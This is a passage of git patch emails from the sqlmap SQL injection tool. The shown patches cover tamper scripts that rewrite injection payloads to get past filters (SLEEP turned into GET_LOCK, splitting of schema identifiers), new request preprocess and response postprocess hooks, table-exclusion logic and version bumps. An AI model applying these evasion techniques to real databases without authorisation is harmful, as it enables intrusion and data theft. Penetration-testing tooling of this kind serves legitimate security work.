('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/sleepgetlock.py b/tamper/sleep2getlock.py similarity index 57% rename from tamper/sleepgetlock.py rename to tamper/sleep2getlock.py index 1aa63d334..6a8323797 100644 --- a/tamper/sleepgetlock.py +++ b/tamper/sleep2getlock.py @@ -5,6 +5,8 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +from lib.core.compat import xrange +from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST @@ -14,7 +16,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces instances like 'SLEEP(x)' with "get_lock('sqlmap',x)" + Replaces instances like 'SLEEP(5)' with (e.g.) "get_lock('ETgP',5)" Requirement: * MySQL @@ -28,19 +30,11 @@ def tamper(payload, **kwargs): * Reference: https://zhuanlan.zhihu.com/p/35245598 - >>> tamper('SLEEP(2)') - "get_lock('sqlmap',2)" + >>> tamper('SLEEP(5)') == "get_lock('%s',5)" % kb.aliasName + True """ - if payload and payload.find("SLEEP") > -1: - while payload.find("SLEEP(") > -1: - index = payload.find("SLEEP(") - depth = 1 - - num = payload[index+6] - - newVal = "get_lock('sqlmap',%s)" % (num) - payload = payload[:index] + newVal + payload[index+8:] - + if payload: + payload = payload.replace("SLEEP(", "get_lock('%s'," % kb.aliasName) return payload From d51e45fd3428370f22576080c77da1f5e03b046a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 17 Sep 2020 15:26:06 +0200 Subject: [PATCH 32/45] Minor update for #4344 --- lib/core/settings.py | 2 +- tamper/sleep2getlock.py | 7 +++---- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6186f35fc..c1e89a116 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.14" +VERSION = "1.4.9.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/sleep2getlock.py b/tamper/sleep2getlock.py index 6a8323797..204c36b7c 100644 --- a/tamper/sleep2getlock.py +++ b/tamper/sleep2getlock.py @@ -5,7 +5,6 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ -from lib.core.compat import xrange from lib.core.data import kb from lib.core.enums import PRIORITY @@ -16,7 +15,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces instances like 'SLEEP(5)' with (e.g.) "get_lock('ETgP',5)" + Replaces instances like 'SLEEP(5)' with (e.g.) "GET_LOCK('ETgP',5)" Requirement: * MySQL @@ -30,11 +29,11 @@ def tamper(payload, **kwargs): * Reference: https://zhuanlan.zhihu.com/p/35245598 - >>> tamper('SLEEP(5)') == "get_lock('%s',5)" % kb.aliasName + >>> tamper('SLEEP(5)') == "GET_LOCK('%s',5)" % kb.aliasName True """ if payload: - payload = payload.replace("SLEEP(", "get_lock('%s'," % kb.aliasName) + payload = payload.replace("SLEEP(", "GET_LOCK('%s'," % kb.aliasName) return payload From 3d8eb62a59c5d875bf778d1edd52055b25e163f3 Mon Sep 17 00:00:00 2001 From: HerendraTJ Date: Fri, 18 Sep 2020 16:58:29 +0700 Subject: [PATCH 33/45] Issue Tracker --> Pelacak Masalah. (#4347) --- doc/translations/README-id-ID.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index 6029b3630..bd2ffd092 100644 --- a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -43,7 +43,7 @@ Tautan * Situs: http://sqlmap.org * Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom -* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki * Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Twitter: [@sqlmap](https://twitter.com/sqlmap) From c2b9e539aef896eac943f696c47aeeb981d5329c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 21 Sep 2020 17:04:44 +0200 Subject: [PATCH 34/45] Update for #4351 --- lib/core/option.py | 91 ++++++++++++++++++++++++++++++++++++++---- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 5 ++- lib/request/connect.py | 14 ++++++- sqlmap.conf | 5 ++- tamper/schemasplit.py | 2 +- 7 files changed, 107 insertions(+), 13 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 45ebd33d9..77ddf497f 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -825,7 +825,7 @@ def _setTamperingFunctions(): def _setPreprocessFunctions(): """ - Loads preprocess functions from given script(s) + Loads preprocess function(s) from given script(s) """ if conf.preprocess: @@ -870,7 +870,7 @@ def _setPreprocessFunctions(): raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) for name, function in inspect.getmembers(module, inspect.isfunction): - if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")): + if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)): found = True kb.preprocessFunctions.append(function) @@ -879,9 +879,84 @@ def _setPreprocessFunctions(): break if not found: - errMsg = "missing function 'preprocess(page, headers=None, code=None)' " + errMsg = "missing function 'preprocess(req)' " errMsg += "in preprocess script '%s'" % script raise SqlmapGenericException(errMsg) + else: + try: + function(_urllib.request.Request("http://localhost")) + except: + handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") + os.close(handle) + + openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(req):\n pass\n") + openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass") + + errMsg = "function 'preprocess(req)' " + errMsg += "in preprocess script '%s' " % script + errMsg += "appears to be invalid " + errMsg += "(Note: find template script at '%s')" % filename + raise SqlmapGenericException(errMsg) + +def _setPostprocessFunctions(): + """ + Loads postprocess function(s) from given script(s) + """ + + if conf.postprocess: + for script in re.split(PARAMETER_SPLITTING_REGEX, conf.postprocess): + found = False + function = None + + script = safeFilepathEncode(script.strip()) + + try: + if not script: + continue + + if not os.path.exists(script): + errMsg = "postprocess script '%s' does not exist" % script + raise SqlmapFilePathException(errMsg) + + elif not script.endswith(".py"): + errMsg = "postprocess script '%s' should have an extension '.py'" % script + raise SqlmapSyntaxException(errMsg) + except UnicodeDecodeError: + errMsg = "invalid character provided in option '--postprocess'" + raise SqlmapSyntaxException(errMsg) + + dirname, filename = os.path.split(script) + dirname = os.path.abspath(dirname) + + infoMsg = "loading postprocess module '%s'" % filename[:-3] + logger.info(infoMsg) + + if not os.path.exists(os.path.join(dirname, "__init__.py")): + errMsg = "make sure that there is an empty file '__init__.py' " + errMsg += "inside of postprocess scripts directory '%s'" % dirname + raise SqlmapGenericException(errMsg) + + if dirname not in sys.path: + sys.path.insert(0, dirname) + + try: + module = __import__(safeFilepathEncode(filename[:-3])) + except Exception as ex: + raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) + + for name, function in inspect.getmembers(module, inspect.isfunction): + if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")): + found = True + + kb.postprocessFunctions.append(function) + function.__name__ = module.__name__ + + break + + if not found: + errMsg = "missing function 'postprocess(page, headers=None, code=None)' " + errMsg += "in postprocess script '%s'" % script + raise SqlmapGenericException(errMsg) else: try: _, _, _ = function("", {}, None) @@ -889,11 +964,11 @@ def _setPreprocessFunctions(): handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") os.close(handle) - open(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(page, headers=None, code=None):\n return page, headers, code\n") - open(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass") + openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n") + openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass") - errMsg = "function 'preprocess(page, headers=None, code=None)' " - errMsg += "in preprocess script '%s' " % script + errMsg = "function 'postprocess(page, headers=None, code=None)' " + errMsg += "in postprocess script '%s' " % script errMsg += "should return a tuple '(page, headers, code)' " errMsg += "(Note: find template script at '%s')" % filename raise SqlmapGenericException(errMsg) @@ -2038,6 +2113,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.keywords = set(getFileItems(paths.SQL_KEYWORDS)) kb.normalizeCrawlingChoice = None kb.passwordMgr = None + kb.postprocessFunctions = [] kb.preprocessFunctions = [] kb.skipVulnHost = None kb.storeCrawlingChoice = None @@ -2684,6 +2760,7 @@ def init(): _listTamperingFunctions() _setTamperingFunctions() _setPreprocessFunctions() + _setPostprocessFunctions() _setTrafficOutputFP() _setupHTTPCollector() _setHttpChunked() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 57a28d3ef..c0cfe5d0d 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -222,6 +222,7 @@ optDict = { "hexConvert": "boolean", "outputDir": "string", "parseErrors": "boolean", + "postprocess": "string", "preprocess": "string", "repair": "boolean", "saveConfig": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index c1e89a116..67c62b13c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.15" +VERSION = "1.4.9.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 090604523..e5b4c6c21 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -683,7 +683,10 @@ def cmdLineParser(argv=None): help="Parse and display DBMS error messages from responses") general.add_argument("--preprocess", dest="preprocess", - help="Use given script(s) for preprocessing of response data") + help="Use given script(s) for preprocessing (request data)") + + general.add_argument("--postprocess", dest="postprocess", + help="Use given script(s) for postprocessing (response data)") general.add_argument("--repair", dest="repair", action="store_true", help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR) diff --git a/lib/request/connect.py b/lib/request/connect.py index e70575e33..739d4dd13 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -501,6 +501,16 @@ class Connect(object): else: return None, None, None + for function in kb.preprocessFunctions: + try: + function(req) + except Exception as ex: + errMsg = "error occurred while running preprocess " + errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) + raise SqlmapGenericException(errMsg) + else: + post, headers = req.data, req.headers + requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in req.header_items()]) if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: @@ -815,11 +825,11 @@ class Connect(object): else: page = getUnicode(page) - for function in kb.preprocessFunctions: + for function in kb.postprocessFunctions: try: page, responseHeaders, code = function(page, responseHeaders, code) except Exception as ex: - errMsg = "error occurred while running preprocess " + errMsg = "error occurred while running postprocess " errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) raise SqlmapGenericException(errMsg) diff --git a/sqlmap.conf b/sqlmap.conf index 3d46fb6ba..480cb27c3 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -769,9 +769,12 @@ outputDir = # Valid: True or False parseErrors = False -# Use given script(s) for preprocessing of response data. +# Use given script(s) for preprocessing of request. preprocess = +# Use given script(s) for postprocessing of response data. +postprocess = + # Redump entries having unknown character marker (?). # Valid: True or False repair = False diff --git a/tamper/schemasplit.py b/tamper/schemasplit.py index 243f14076..e7bb1ea58 100644 --- a/tamper/schemasplit.py +++ b/tamper/schemasplit.py @@ -16,7 +16,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces instances of UNION with e0UNION + Splits FROM schema identifiers (e.g. 'testdb.users') with whitespace (e.g. 'testdb 9.e.users') Requirement: * MySQL From 5d08b9004eedd50f9516f6d67b267e78bf619a85 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 21 Sep 2020 17:11:11 +0200 Subject: [PATCH 35/45] Minor update --- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 67c62b13c..54954554e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.16" +VERSION = "1.4.9.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index e5b4c6c21..f6deac160 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -683,10 +683,10 @@ def cmdLineParser(argv=None): help="Parse and display DBMS error messages from responses") general.add_argument("--preprocess", dest="preprocess", - help="Use given script(s) for preprocessing (request data)") + help="Use given script(s) for preprocessing (request)") general.add_argument("--postprocess", dest="postprocess", - help="Use given script(s) for postprocessing (response data)") + help="Use given script(s) for postprocessing (response)") general.add_argument("--repair", dest="repair", action="store_true", help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR) From 7460b87f1dca84d58135f963bce69cfd3a750f00 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 23 Sep 2020 15:22:07 +0200 Subject: [PATCH 36/45] Update for #4353 --- lib/core/settings.py | 2 +- plugins/generic/databases.py | 3 +++ plugins/generic/search.py | 8 +++++--- 3 files changed, 9 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 54954554e..ad5e89d11 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.17" +VERSION = "1.4.9.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index cc8b89730..7a3dfe4dd 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -525,6 +525,9 @@ class Databases(object): else: return kb.data.cachedColumns + if conf.exclude: + tblList = [_ for _ in tblList if re.search(conf.exclude, _, re.I) is None] + tblList = filterNone(safeSQLIdentificatorNaming(_, True) for _ in tblList) if bruteForce is None: diff --git a/plugins/generic/search.py b/plugins/generic/search.py index 6e4a0e2a4..42afd3cfe 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -410,9 +410,11 @@ class Search(object): if tblCond: if conf.tbl: - _ = conf.tbl.split(',') - whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" - infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _)) + tbls = conf.tbl.split(',') + if conf.exclude: + tbls = [_ for _ in tbls if re.search(conf.exclude, _, re.I) is None] + whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in tbls) + ")" + infoMsgTbl = " for table%s '%s'" % ("s" if len(tbls) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in tbls)) if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() From 60f45200206d49a8aa0c40b40b17b0ff9f55949c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 23 Sep 2020 15:29:28 +0200 Subject: [PATCH 37/45] Minor update for #4353 --- lib/core/option.py | 2 ++ lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 77ddf497f..33ec158c3 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1837,6 +1837,8 @@ def _cleanupOptions(): if not regex: conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude) conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(',')) + else: + conf.exclude = re.sub(r"(\w+)\$", r"\g<1>\$", conf.exclude) if conf.binaryFields: conf.binaryFields = conf.binaryFields.replace(" ", "") diff --git a/lib/core/settings.py b/lib/core/settings.py index ad5e89d11..210f0dd8e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.18" +VERSION = "1.4.9.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 443b1f2ed5f717b58508ba0066d9579da9edc80b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 24 Sep 2020 14:54:59 +0200 Subject: [PATCH 38/45] ORDER BY required --- data/xml/queries.xml | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 25ddbd261..847e76b72 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -301,8 +301,8 @@ - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 210f0dd8e..7d6443934 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.19" +VERSION = "1.4.9.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 229f89004b70e38a9bff3c0e5b1f56614edb7712 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 24 Sep 2020 14:55:13 +0200 Subject: [PATCH 39/45] Fixes #4355 --- lib/core/agent.py | 13 ++++++++----- lib/core/settings.py | 2 +- 2 files changed, 9 insertions(+), 6 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 246eaa03c..34de5f153 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1207,12 +1207,15 @@ class Agent(object): def whereQuery(self, query): if conf.dumpWhere and query: - match = re.search(r" (LIMIT|ORDER).+", query, re.I) - if match: - suffix = match.group(0) - prefix = query[:-len(suffix)] + if Backend.isDbms(DBMS.ORACLE) and re.search("qq ORDER BY \w+\)", query, re.I) is not None: + prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), "" else: - prefix, suffix = query, "" + match = re.search(r" (LIMIT|ORDER).+", query, re.I) + if match: + suffix = match.group(0) + prefix = query[:-len(suffix)] + else: + prefix, suffix = query, "" if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper(): prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7d6443934..493c1fb80 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.20" +VERSION = "1.4.9.21" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c1bf36b876943f6149d1bfc388fd43315560e59a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 24 Sep 2020 14:57:45 +0200 Subject: [PATCH 40/45] Better alternative --- data/xml/queries.xml | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 847e76b72..33267e870 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -301,8 +301,8 @@ - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 493c1fb80..fed68f099 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.21" +VERSION = "1.4.9.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 15225668d0d27462b6fcd112322f85fe2c8ccde5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 28 Sep 2020 13:12:59 +0200 Subject: [PATCH 41/45] Somebody was fooling around (Issue #4357) --- lib/core/option.py | 15 +++++++++------ lib/core/settings.py | 2 +- 2 files changed, 10 insertions(+), 7 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 33ec158c3..a39989ad8 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -870,13 +870,16 @@ def _setPreprocessFunctions(): raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) for name, function in inspect.getmembers(module, inspect.isfunction): - if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)): - found = True + try: + if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)): + found = True - kb.preprocessFunctions.append(function) - function.__name__ = module.__name__ + kb.preprocessFunctions.append(function) + function.__name__ = module.__name__ - break + break + except ValueError: # Note: https://github.com/sqlmapproject/sqlmap/issues/4357 + pass if not found: errMsg = "missing function 'preprocess(req)' " @@ -1525,7 +1528,7 @@ def _createHomeDirectories(): if conf.get("purge"): return - for context in "output", "history": + for context in ("output", "history"): directory = paths["SQLMAP_%s_PATH" % context.upper()] try: if not os.path.isdir(directory): diff --git a/lib/core/settings.py b/lib/core/settings.py index fed68f099..ca7a23534 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.22" +VERSION = "1.4.9.23" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 210a4c3a0a5dcaf984576e0597a79eb23fa9afa4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 5 Oct 2020 11:35:49 +0200 Subject: [PATCH 42/45] Fixes #4363 --- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index a39989ad8..7512cb116 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1529,7 +1529,7 @@ def _createHomeDirectories(): return for context in ("output", "history"): - directory = paths["SQLMAP_%s_PATH" % context.upper()] + directory = paths["SQLMAP_%s_PATH" % getUnicode(context).upper()] # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363 try: if not os.path.isdir(directory): os.makedirs(directory) diff --git a/lib/core/settings.py b/lib/core/settings.py index ca7a23534..7a91dd560 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.23" +VERSION = "1.4.10.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From a2a73b88ea6220be9f48308536741005651993fb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 5 Oct 2020 12:12:06 +0200 Subject: [PATCH 43/45] Fixes #4366 --- lib/core/common.py | 7 ++++++- lib/core/settings.py | 2 +- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index c9c09977a..8fe6e0aaa 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2071,6 +2071,8 @@ def safeStringFormat(format_, params): >>> safeStringFormat('SELECT foo FROM %s LIMIT %d', ('bar', '1')) 'SELECT foo FROM bar LIMIT 1' + >>> safeStringFormat("SELECT foo FROM %s WHERE name LIKE '%susan%' LIMIT %d", ('bar', '1')) + "SELECT foo FROM bar WHERE name LIKE '%susan%' LIMIT 1" """ if format_.count(PAYLOAD_DELIMITER) == 2: @@ -2114,7 +2116,10 @@ def safeStringFormat(format_, params): warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS) raise SqlmapValueException(warnMsg) else: - retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1) + try: + retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1) + except re.error: + retVal = retVal.replace(match.group(0), match.group(0) % params[count], 1) count += 1 else: break diff --git a/lib/core/settings.py b/lib/core/settings.py index 7a91dd560..97686ba0c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.10.0" +VERSION = "1.4.10.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 21cc6e3c99102381151f59df97183b4af732c9c5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 5 Oct 2020 12:45:15 +0200 Subject: [PATCH 44/45] Potential patch for #4367 --- lib/core/settings.py | 2 +- lib/utils/hash.py | 10 ++++++---- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 97686ba0c..d513ea59d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.10.1" +VERSION = "1.4.10.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 3845391e8..87f347177 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1147,6 +1147,12 @@ def dictionaryAttack(attack_dict): warnMsg = "user 